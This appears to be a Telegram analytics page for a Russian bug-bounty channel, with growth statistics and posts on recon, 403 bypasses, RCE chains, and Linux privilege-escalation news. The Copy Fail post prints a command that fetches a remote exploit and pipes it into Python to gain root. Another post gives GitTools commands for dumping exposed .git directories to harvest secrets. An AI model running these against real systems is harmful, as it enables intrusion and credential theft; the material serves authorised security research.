现已上线！2025 年 Telegram 研究 — 年度关键洞察 
2 939
订阅者
+124 小时
+197 天
+7330 天
数据加载中...
吸引订阅者
七月 '26
七月 '26
+20
在0个频道中
六月 '26
+102
在1个频道中
Get PRO
五月 '26
+70
在1个频道中
Get PRO
四月 '26
+78
在0个频道中
Get PRO
三月 '26
+105
在2个频道中
Get PRO
二月 '26
+109
在1个频道中
Get PRO
一月 '26
+66
在1个频道中
Get PRO
十二月 '25
+70
在0个频道中
Get PRO
十一月 '25
+77
在2个频道中
Get PRO
十月 '25
+115
在1个频道中
Get PRO
九月 '25
+88
在1个频道中
Get PRO
八月 '25
+117
在2个频道中
Get PRO
七月 '25
+71
在2个频道中
Get PRO
六月 '25
+53
在1个频道中
Get PRO
五月 '25
+69
在1个频道中
Get PRO
四月 '25
+98
在4个频道中
Get PRO
三月 '25
+75
在1个频道中
Get PRO
二月 '25
+76
在1个频道中
Get PRO
一月 '25
+134
在2个频道中
Get PRO
十二月 '24
+112
在3个频道中
Get PRO
十一月 '24
+92
在0个频道中
Get PRO
十月 '24
+77
在0个频道中
Get PRO
九月 '24
+86
在3个频道中
Get PRO
八月 '24
+79
在1个频道中
Get PRO
七月 '24
+60
在1个频道中
Get PRO
六月 '24
+97
在3个频道中
Get PRO
五月 '24
+41
在0个频道中
Get PRO
四月 '24
+59
在0个频道中
Get PRO
三月 '24
+82
在1个频道中
Get PRO
二月 '24
+68
在1个频道中
Get PRO
一月 '24
+95
在0个频道中
Get PRO
十二月 '23
+279
在1个频道中
Get PRO
十一月 '23
+89
在1个频道中
Get PRO
十月 '23
+59
在0个频道中
Get PRO
九月 '23
+98
在0个频道中
Get PRO
八月 '23
+86
在0个频道中
Get PRO
七月 '23
+74
在0个频道中
Get PRO
六月 '23
+72
在0个频道中
Get PRO
五月 '23
+526
在0个频道中
Get PRO
四月 '23
+7
在0个频道中
Get PRO
三月 '23
+12
在0个频道中
Get PRO
二月 '23
+22
在0个频道中
Get PRO
一月 '23
+15
在0个频道中
Get PRO
十二月 '22
+14
在0个频道中
Get PRO
十一月 '22
+22
在0个频道中
Get PRO
十月 '22
+11
在0个频道中
Get PRO
九月 '22
+278
在0个频道中
| 日期 | 订阅者增长 | 提及 | 频道 | |
| 05 七月 | +2 | |||
| 04 七月 | +5 | |||
| 03 七月 | +4 | |||
| 02 七月 | +4 | |||
| 01 七月 | +5 |
频道帖子
| 2 | https://dzen.ru/a/aketeeKJCirWZmmv | 478 |
| 3 | 🤩 Максимальные выплаты — за реальную защищенность пользователей
Фокусируемся на том, что действительно важно — на приватности и безопасности пользовательских данных.
🔹С 1 июля мы меняем правила программы багбаунти: теперь не важно, какая именно бага найдена, важно — какой импакт она несет. Любые узявимости, которые позволяют получить доступ к данным пользователей будут оцениваться по новой шкале.
🔹 Например, в наших социальных сетях Account Takeover теперь будет оцениваться наравне с RCE.
Также оцениваться будут репорты не только в наших социальных сервисах, но и в VK Cloud, VK Workspace и VK HR Tek.
🔹 За нарушение изоляции между проектами пользователей в VK Cloud можно получить до 1 000 000 ₽.
В каких программах изменения?
🔹ВКонтакте
🔹Одноклассники
🔹VK Видео
🔹VK Workspace
🔹VK Cloud
🔹VK HR Tek
Все существующие категории остаются в силе — мы дополняем программы новыми сценариями, чтобы сделать акцент на защите пользовательских данных.
Спасибо каждому, кто помогает делать наши продукты безопаснее 💙
⭐ Не забывайте и про Bounty Pass: с каждым новым оплачиваемым отчетом можно получить до +5% к каждому следующему вознаграждению.
VK Security | Буст этому каналу!
#bugbounty #bountypass | 339 |
| 4 | 🕷Универсальный стартовый набор для багхантера
Команда Intigriti подготовила гайд со всем необходимым для начинающего багхантера: от разведки и выбора цели до эксплуатации уязвимостей ⬇️
1️⃣Как составить полную карту приложения
2️⃣Основной тулинг, который упрощает работу
3️⃣Поиск и эксплуатация SQLi, XSS, IDOR
🔗 Канал в МАХ | 872 |
| 5 | 🕷 Получаем исходники через открытую директорию .git
Ситуация: на таргете доступны служебные файлы Git:
https://sub.target.com/app/.git/index
https://sub.target.com/app/.git/HEAD
https://sub.target.com/app/.git/config
На первый взгляд — просто несколько файлов. На практике этого может хватить, чтобы восстановить исходники приложения.
Самый простой путь — использовать GitTools:
bash gitdumper.sh https://sub.target.com/app/.git/ dest-dir
bash extractor.sh dest-dir dest-dir-dump
gitdumper скачает содержимое .git, а extractor попробует восстановить рабочее дерево проекта.
После восстановления проверь:
▪️ конфиги и .env,
▪️ API эндпоинты,
▪️ внутренние домены,
▪️ ключи, токены и пароли,
▪️ старые коммиты,
▪️ dev/staging-настройки,
▪️ закомментированный код и debug-ручки.
🔥 Канал в МАХ | 1 134 |
| 6 | 🕷 Как быстро добавить скрытые JS chunks в Burp Sitemap
Иногда при тестировании таргета в одном JSON-файле можно найти ссылки на сотни .js chunk-файлов, которые ещё не подгружались в браузере.
Например: приложение лениво загружает модули, а в манифесте уже лежат ссылки на 300+ JS-файлов.
Что можно сделать:
1️⃣ Вытащить ссылки на эти .js chunks → отправить их через Intruder
2️⃣ В таблице результатов Intruder выделить все ответы
3️⃣ Нажать правой кнопкой мыши → Add to Sitemap
После этого Burp добавит найденные ресурсы в Site map, и с ними можно будет работать как с обычными файлами, которые ты нашел при ручном обходе приложения.
Зачем это нужно:
⚫️ Быстрее собрать скрытые роуты приложения
⚫️ Найти API эндпоинты внутри JS
⚫️ Вытащить фича-флаги и dev-настройки
⚫️ Собрать старые ручки, staging-домены и sourcemaps
➡️ Канал в МАХ | 1 112 |
| 7 |  🕷 Шпаргалки по SQLi и XSS для багхантера
Когда находишь потенциально уязвимый параметр, важнее быстро перейти к проверке, чем заново вспоминать синтаксис для PostgreSQL, контексты XSS или способы обхода фильтров.
Собрали шпаргалки, которые удобно держать под рукой во время ручного тестирования 🔥
SQL Injection / SQLMap
➖ PortSwigger SQLi Cheat Sheet: синтаксис для Oracle, MySQL, PostgreSQL и MSSQL: UNION, задержки, извлечение данных и OAST.
➖ Tib3rius SQLi Cheat Sheet: короткая памятка по пяти популярным СУБД: удобно открыть рядом с Burp.
➖ NetSPI SQL Injection Wiki: большая база по определению СУБД, эксплуатации и эскалации SQLi.
➖ Advanced SQL Injection Cheatsheet: подборка техник и пэйлоадов для более глубокого тестирования.
➖ SQLMap Cheat Sheet от HighOn.Coffee: команды для автоматизации проверки и эксплуатации SQLi через sqlmap.
Cross-Site Scripting (XSS)
➖ PortSwigger XSS Cheat Sheet: интерактивная база векторов: можно фильтровать пэйлоады по тегам, событиям и браузерам.
➖ OWASP XSS Filter Evasion Cheat Sheet: векторы для проверки фильтров и понимания, почему одного blacklist недостаточно.
➖ PayloadsAllTheThings — XSS Injection: reflected, stored, DOM XSS, polyglot-пейлоады, обходы CSP и фильтрации
➖ HackTricks — XSS: методика поиска, контексты инъекции и нестандартные кейсы эксплуатации
➖ HowToHunt — XSS: практические подходы к поиску reflected XSS и разбору точек отражения
Общие базы для веба
➖ PayloadsAllTheThings — пэйлоады и обходы по основным веб-уязвимостям
➖ HackTricks — методики и техники для веб-пентеста
➖ HowToHunt — практические чек-листы для багхантера
➖ OWASP Cheat Sheet Series — как устроена защита и какие механизмы стоит проверять
➖ PortSwigger-Academy-CheatSheets — база знаний из лабораторий PortSwigger Academy
➖ URL validation bypass cheat sheet — полезно для эксплуатации SSRF, мисконфигов CORS и open redirect
➡️ Канал в МАХ | 1 014 |
| 8 | Ого, что?! Вышел первый выпуск нашего подкаста «Спасибо за репорт» 🎧
Это проект VK Bug Bounty для багхантеров, а также для всех, кто формирует индустрию. Поговорим с топ-хантерами, командами bug bounty-платформ, вендорами и теми, кому не всё равно, как развивается поиск уязвимостей.
Гость первого выпуска — Всеволод Кокорин aka Slonser.
Разбираемся с ИИ-агентами в багхантинге без восторженных «они всё заменят» и без паники. Что уже работает, что лучше перепроверять три раза и почему хороший результат не получить без реальных знаний. Всеволод как раз из тех, кто разбирается в этом по-настоящему. Он эффективно применяет ИИ-агентов в реальных задачах и точно знает, где они ускоряют работу, а где им не стоит доверять.
В выпуске:
– как ИИ-агенты меняют поиск уязвимостей?
– какие задачи можно отдавать агентам, а какие лучше оставить себе?
– где агенты начинают галлюцинировать вместо того, чтобы искать баги?
– от чего зависят аватарки Slonser'а?
🍿 Первый выпуск
Ставьте лайк, шерьте друзьям, репостите в чатики — будет полезно всем, кто хочет использовать агентов точнее и получать на выходе качественные репорты.
Пишите в комментариях: как вам запуск, кого позвать дальше и какие темы разобрать👇👇👇
VK Security | Буст этому каналу!
#bugbounty #подкаст | 774 |
| 9 |  Google Cloud RCE: $148 000 за одну уязвимость (CVE-2026-2031)
Исследователь из BruteCat обнаружил критическую цепочку уязвимостей в Google Cloud Application Integration, которая позволила выполнить произвольный код в продакшен-среде Google.
Всё началось с безобидного на первый взгляд эндпоинта отладки:
GET /v1/integrationPlatform:getProtoDefinition
Он возвращал protobuf-схемы любых сервисов в монолите google3 — от YouTube до внутренних систем. Это дало возможность «видеть» структуру запросов/ответов любых внутренних API.
Дальше — интереснее:
• Утечка очереди задач: через параметр ?alt=proto + X-Goog-Encode-Response-If-Executable: base64 удалось получить доступ к внутренней очереди рабочих процессов, включая данные из Spanner → Salesforce.
• GenericStubbyTypedTaskV2: в конфигурации воркфлоу нашлась задача, позволяющая выполнять произвольные Stubby-вызовы (внутренний RPC-фреймворк Google) от имени продакшен-сервиса.
• Обход проверок: с помощью двух аккаунтов и манипуляций с ACL удалось опубликовать и запустить вредоносный воркфлоу.
Результат: выполнение /ServerStatus.GetServices на gslb:alkali-base вернуло список внутренних сервисов с полными proto-дескрипторами.
Раунд 2: через 3 месяца
После фикса первой уязвимости исследователь обнаружил IDOR в публичном API Application Integration - можно было читать чужие интеграции, подставляя чужой UUID в свой project ID.
Через endpoint ListTestCases без фильтра утекали тест-кейсы всех проектов в регионе. С помощью бинарного поиска по фильтру удалось восстановить 128-битный UUID жертвы за ~128 запросов.
Цепочка привела к полному доступу к чужим интеграциям и потенциально — к повторному RCE через внутренние задачи (PythonTask, GenericStubbyTypedTaskV2).
Первая цепочка (RCE) P0/S0 $60 000; вторая цепочка (IDOR + RCE) P0/S0 $75 000; доп. находка (остаточный IDOR) P1/S1 $13 337 - итого ~$148 000. | 809 |
| 10 | 🕷 Разведка API: как понять, что под капотом
С обычными веб-приложениями всё просто: открыл Wappalyzer или BuiltWith — и уже видишь фреймворки, CMS и часть стека.
С API сложнее. Там нет привычного фронта, а реальные детали часто прячутся за gateway, WAF, CDN или reverse proxy.
Но язык и фреймворк всё равно можно вычислить по косвенным признакам. И это полезно не из любопытства. От стека зависят потенциальные векторы атак:
▪️ Java / Spring → паттерны десериализации
▪️ PHP → небезопасная десериализация и магические методы
▪️ Node.js / Express → JSON-десериализация и особенности middleware
▪️ SOAP / XML → шанс на XXE
▪️ Шаблонизаторы → возможная SSTI
Зачем определять стек API:
☑️ Точнее строить разведку директорий
☑️ Понимать, какие расширения и эндпоинты искать
☑️ Предполагать шаблонизатор
☑️ Подбирать пэйлоады под конкретный язык
☑️ Фокусироваться на типичных ошибках фреймворка
Как это делать:
1️⃣ Смотреть ответы сервера
Проверяй:
▪️ HTTP-заголовки: Server, X-Powered-By, Set-Cookie
▪️ robots.txt
▪️ API-документацию
2️⃣ Провоцировать ошибки
Пустой JSON, неправильный тип поля или сломанный пэйлоад иногда раскрывают больше, чем баннер сервера.
В ошибках могут всплыть:
▪️ Названия классов, stack trace
▪️ Spring / Django / Express-специфичные сообщения
▪️ Формат валидации
3️⃣ Смотреть, как API обрабатывает данные
Полезно проверять:
▪️ Лимиты GET/POST
▪️ HTTP Parameter Pollution
▪️ Булевы значения: true, false, True, False, 1, 0
▪️ Типы данных: строка vs число vs boolean
Разные языки и фреймворки могут по-разному интерпретировать одни и те же входные данные. Это помогает уточнить стек и иногда приводит к более интересным багам.
➡️ Канал в МАХ | 752 |
| 11 | 🕷 Правильный байпас ограничений 403/40X
Ограничение доступа не всегда означает надёжную защиту. Иногда 401 или 403 появляются из-за ошибки в роутинге, прокси, middleware или правилах WAF.
Достаточно изменить HTTP-метод, добавить заголовок или слегка поменять путь — и закрытый эндпоинт внезапно начинает отвечать.
Nomore403 — тулза для автоматизации проверок обхода 403/40X. Она перебирает типовые техники:
▪️ Подстановку заголовков
▪️ Изменение HTTP-методов
▪️ Вариации путей
▪️ Кастомные пэйлоады
Одна из ключевых фич — «автокалибровка», которая уменьшает количество фолсов ⬇️
Перед основным тестированием скрипт отправляет несколько запросов на заведомо несуществующие пути и запоминает статус-код, размер ответа, заголовки и другие признаки типичной ошибки.
После этого каждый новый ответ сравнивается с базовыми показателями. Если он заметно отличается от обычной ошибки, такой кейс помечается как потенциальный байпас.
➡️ Канал в МАХ | 937 |
| 12 |  🕷 Прежде чем отправлять репорт, попробуй показать максимальный импакт
Распространенные способы получения удаленного исполнения кода (RCE):
➡️ Небезопасная загрузка файлов
➡️ SQL injection
➡️ Небезопасная десериализация
➡️ Server-side prototype pollution
➡️ XXE
➡️ Внедрение команд
➡️ Server-side template injections
➡️ Server-Side Request Forgery
➡️ LFI/RFI
➡️ Race Condition
Иногда «слабая» находка становится критичной именно из-за комбинации нескольких проблем в цепочку атаки:
SSRF → внутренняя админ панель → file upload → RCE
IDOR → доступ к конфигу → креды → RCE
SSTI → чтение файлов → секреты → RCE
LFI → log poisoning → RCE
File upload → LFI → выполнение загруженного файла
Path traversal → чтение конфигов → креды → RCE
➡️ Канал в МАХ | 1 019 |
| 13 |  没有文字... | 1 090 |
| 14 |  Dirty Frag: Universal Linux LPE
Появилась публичная информация о Dirty Frag — новом классе LPE-уязвимостей в Linux, позволяющем локальному непривилегированному пользователю получить root за счет записи в page cache через сетевые буферы ядра.
Исследователь Hyunwoo Kim описывает цепочку из xfrm-ESP и RxRPC Page-Cache Write; заявлено, что эксплуатация не требует race condition и имеет высокую надежность. Наибольший риск — для серверов с контейнерами, Kubernetes, CI/CD runners, shared-хостинга и любых систем, где недоверенный код может запускаться локально.
Dirty Pipe в 2022 показал возможность атаковать page cache через pipes. Copy Fail недавно продемонстрировал похожий класс проблемы через AF_ALG. DirtyFrag продолжает ту же линию — page cache write через ESP и RxRPC. Три разные подсистемы ядра, но один повторяющийся класс ошибок.
До выхода backport-патчей рекомендуется оценить использование esp4/esp6/rxrpc, временно отключить соответствующие модули там, где это безопасно, и оперативно обновить ядро после публикации исправлений дистрибутивом. | 1 050 |
| 15 |  OWASP RUSSIA MEETUP: AI в анализе кода, SSR-безопасность, атаки на CMS, Telegram-фишинг и ML в AppSec
14 мая состоится OWASP RUSSIA MEETUP — встреча для специалистов по информационной безопасности, разработчиков, AppSec/SRE/DevSecOps-инженеров, инфраструктурных команд и всех, кому интересны современные практики защиты приложений.
В программе — доклады о графовых подходах в анализе кода, рисках SSR на примере React2Shell, атаках на установщики CMS, сценариях Telegram-фишинга через QR-коды и балансе между ML-подходами и классическими правилами в AppSec.
Программа митапа
19:00 — Приветственное слово
Лука Сафонов, OWASP Russia chapter leader
Модератор: Павел Кузнецов, Инфосистемы Джет
19:10 — AI + анализ кода: графовые подходы и почему они снова актуальны
Радда Юрьева, PT
Доклад будет посвящён тому, как CPG/PDG-графы становятся основой для контекстного поиска уязвимостей в коде.
Ключевые темы:
CPG/PDG-графы в анализе кода;
контекстный поиск уязвимостей;
связка графовых подходов с LLM;
применение графовых нейросетей в задачах AppSec.
19:55 — Риски безопасности SSR на примере React2Shell и их митигация
Артем Чувикин, Ngenix
Современные web-приложения всё чаще используют server-side rendering, что улучшает производительность, SEO и пользовательский опыт, но одновременно расширяет поверхность атаки. На примере React2Shell будут разобраны риски, возникающие в SSR-архитектуре, и способы их снижения.
Ключевые темы:
особенности безопасности SSR-приложений;
attack surface server-side React;
уязвимость React2Shell;
практическая эксплуатация на демонстрационном приложении;
virtual patching через WAF, CDN и reverse proxy.
20:35 — Перерыв
20:50 — Атаки на установщики CMS: как захватить контроль над ещё не установленной системой
Александр Колчанов, независимый эксперт
Доклад посвящён сценарию, при котором атакующий находит доступные установщики CMS и использует их для получения контроля над сервером ещё до полноценной установки системы.
Ключевые темы:
поиск открытых установщиков CMS;
получение доступа к админке через процесс установки;
загрузка shell;
удаление установленной CMS и восстановление установщика;
захват контроля без эксплуатации типовых CVE.
21:30 — Как я украду вашу телегу
Михаил Жмайло, CICADA8
QR-код давно стал привычным способом аутентификации во многих приложениях. В докладе будут разобраны фишинговые атаки на QR-аутентификацию, сценарии QRLjacking и использование Telegram как платформы для атак социальной инженерии.
Ключевые темы:
QRLjacking;
фишинговые атаки через Telegram;
захват аккаунта через QR-код;
вредоносный MiniApp;
автоматизация сбора информации;
persistence в Telegram-сценариях.
22:10 — Баланс точности и полноты: ML vs ifчики
Павел Конан, Yandex
Индустрия кибербезопасности активно продвигает AI-powered-решения, противопоставляя их классическим сигнатурам и правилам. Но на практике выбор между ML и rule-based-подходами почти всегда упирается в компромисс между Precision и Recall.
Ключевые темы:
ML против правил и эвристик в AppSec;
компромисс между Precision и Recall;
False Positive и False Negative в WAF и SAST;
alert fatigue у разработчиков;
архитектурные паттерны security-инструментов;
чек-лист: когда нужен ML, а когда достаточно rule-based-подхода.
22:50 — Завершение
Участие в митапе бесплатное и осуществляется по предварительной регистрации. Ссылка на место проведения (Москва) будет отправлена на email.
До встречи 14 мая! | 770 |
| 16 | 🕷 Топ-1 рейтинга платформы
Подвели итоги площадки BugBountyRu 🧮
В первом квартале рейтинг возглавил багхантер Ashgar! В качестве приза дополнительно начисляем 31337 рублей.
Поздравляем и желаем всем больше интересных багов в следующем квартале 💰
➡️ Канал в МАХ | 752 |
| 17 | Некоторые эндпоинты приложений и API принимают только определённые типы контента — поэтому всегда проводи фаззинг с разными значениями заголовка Content-type:
ffuf -u https://api.example.com/api/PATH -X "POST" -H "Content-Type: CT" -w /path/to/content-types:CT -w /path/to/wordlist:PATH
🔗 Канал в МАХ | 1 026 |
| 18 |  Copy Fail: новая LPE-уязвимость в Linux (root на любом Linux в один клик)
Copy Fail — CVE-2026-31431, уязвимость в ядре Linux, которую исследователи называют почти идеальным LPE: обычный локальный пользователь может получить root без race condition, без подбора оффсетов и без сложной подготовки.
Авторы заявляют, что один и тот же 732-байтный Python PoC срабатывает на крупных Linux-дистрибутивах, выпущенных с 2017 года. Подтверждены демо на Ubuntu, Amazon Linux, RHEL и SUSE.
Суть бага — логическая ошибка в криптографической подсистеме Linux: цепочка authencesn → AF_ALG → splice() приводит к контролируемой записи в page cache. Итог — возможность модифицировать поведение setuid-бинарника и выйти в root.
Это не удалённая RCE сама по себе: атакующему нужен локальный доступ или запуск кода на машине. Но для shared-хостов, CI/CD runners, Kubernetes-кластеров, песочниц, dev-серверов и SaaS-платформ с пользовательским кодом это выглядит максимально неприятно: контейнер или обычный пользователь могут стать проблемой уровня хоста.
$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user) | 833 |
| 19 | 🕷 Мёртвый поддомен — это не мусор, а источник информации
Хост, который не резолвится, всё ещё может быть полезной зацепкой. Он показывает, как устроена инфраструктура и где искать дальше.
Разберем на примерах ⬇️
1️⃣ Заголовки ответа могут раскрывать внутренние хосты
Публичный эндпоинт возвращает:
302 Found
X-Backend-Host: auth-prod-use1-02.internal.example.com
Формально он «не существует». Фактически — это утечка структуры системы:
▪️ Есть сервис auth
▪️ Используется prod окружение
▪️ Есть регион/кластер use1
▪️ Публичная система всё ещё опирается на этот хост
2️⃣ JS и конфиги могут хранить хосты, которые не резолвятся
Ты нашел очередной поддомен, который не резолвится:
https://payments-api.dev.example.com
Что это даёт:
▪️ Есть или был сервис payments-api с dev окружением
▪️ Фронт всё ещё хранит старые конфиги
▪️ Возможны связанные хосты:
payments-api.staging.example.com
payments.dev.example.com
Почему «мёртвый» ≠ бесполезный
Хост может не резолвиться снаружи, но:
▪️ Резолвиться внутри сети
▪️ Использоваться во взаимодействиях бэкенда
▪️ Быть в allowlist или routing-правилах
▪️ Помогать определить границы доверия
📌 Пример из практики
Багхантер использовал SSRF + список «мертвых» хостов. Снаружи они были недоступны. Но через SSRF — резолвились и открывали доступ к внутренним сервисам.
➡️ Канал в МАХ | 0 |
